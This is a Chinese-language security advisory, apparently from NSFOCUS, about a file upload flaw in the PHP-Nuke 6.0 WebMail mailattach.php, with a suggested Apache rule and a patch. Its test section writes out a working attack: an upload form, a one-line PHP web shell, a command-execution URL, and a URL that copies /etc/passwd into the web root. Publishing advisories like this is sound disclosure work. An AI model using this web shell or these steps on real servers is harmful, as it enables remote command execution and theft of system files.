首页 -> 安全研究
安全研究
安全漏洞
PHP-Nuke mailattach.php文件上传漏洞
发布日期:2003-01-16
更新日期:2003-01-16
受影响系统:
Francisco Burzi PHP-Nuke 6.0不受影响系统:
Francisco Burzi PHP-Nuke 5.5描述:
PHP-Nuke是一个广为流行的网站创建和管理工具,它可以使用很多数据库软件作为后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。
PHP-Nuke 6.0 WebMail模块的mailattach.php文件上传存在漏洞,未授权的远程攻击者可以用WEB进程权限在系统上执行任意命令。
mailattach.php的上传文件代码:
----------------------8<------------------------------
if (isset($userfile) AND $userfile != "none") {
if (ini_get(file_uploads) AND $attachments == 1) {
$updir = "tmp";
@copy($userfile, "$updir/$userfile_name");
----------------------8<------------------------------
mailattach.php没有检查上传文件的扩展名,远程攻击者可以上传包含恶意代码的文件,以WEB进程权限在系统上执行任意命令。
PHP-Nuke 5.5由于没有WebMail模块,所以不存在这个漏洞。
<*来源:Karol Więsek (appelast@bsquad.sm.pl)
链接:http://lists.netsys.com/pipermail/full-disclosure/2003-January/003583.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
在本地用浏览器打开如下html:
<html>
<title>: Attach Files</title>
<body text="#63627f">
<form action="http://phpnuke.org/modules/WebMail/mailattach.php?attachments=1" method="post" ENCTYPE="multipart/form-data" name="attchform">
<center>
<b>Attach Files</b><br><br>
File: <input type="file" name="userfile"> <input type="submit" value="Attach File">
</center>
</form>
</body>
</html>
然后选择上传如下cmd.php程序:
<pre><?passthru($cmd)?></pre>
然后就可以用如下的URL执行任意命令:
http://phpnuke.org/modules/WebMail/tmp/cmd.php?cmd=id;uname -a
另外一种拷贝系统文件到web目录方法:
http://phpnuke.org/modules/WebMail/mailattach.php?userfile=/etc/passwd&userfile_name=test.txt&attachments=1
然后访问如下链接就可以得到系统的口令文件,同样也可以获得php文件的源码:
http://phpnuke.org/modules/WebMail/tmp/test.txt
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 由于web目录modules下的文件都是通过modules.php程序调用的,所以可以禁止web用户直接访问,可以修改Apache配置文件,加上如下限制(假设/web/phpnuke是安装的绝对路径):
<Directory "/web/phpnuke/html/modules">
Deny from all
</Directory>
* mailattach.php程序补丁,适合PHP 4.1.0以上版本:
diff mailattach.php mailattach_fix.php
23,27c23,32
< if (isset($userfile) AND $userfile != "none") {
< if (ini_get(file_uploads) AND $attachments == 1) {
< $updir = "tmp";
< @copy($userfile, "$updir/$userfile_name");
< @unlink($userfile);
---
> if (isset($_FILES['userfile']['tmp_name']) AND $_FILES['userfile']['tmp_name'] != "none") {
> $_FILES['userfile']['name'] = trim($_FILES['userfile']['name']);
>
> if (preg_match("/\.php$/",$_FILES['userfile']['name'])) {
> echo "PHP file cann't upload!";
> exit;
> }
> if (ini_get(file_uploads) AND $_REQUEST['attachments'] == 1) {
> $updir = "tmp/";
厂商补丁:
Francisco Burzi
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.phpnuke.org
浏览次数:4034
严重程度:0(网友投票)
绿盟科技给您安全的保障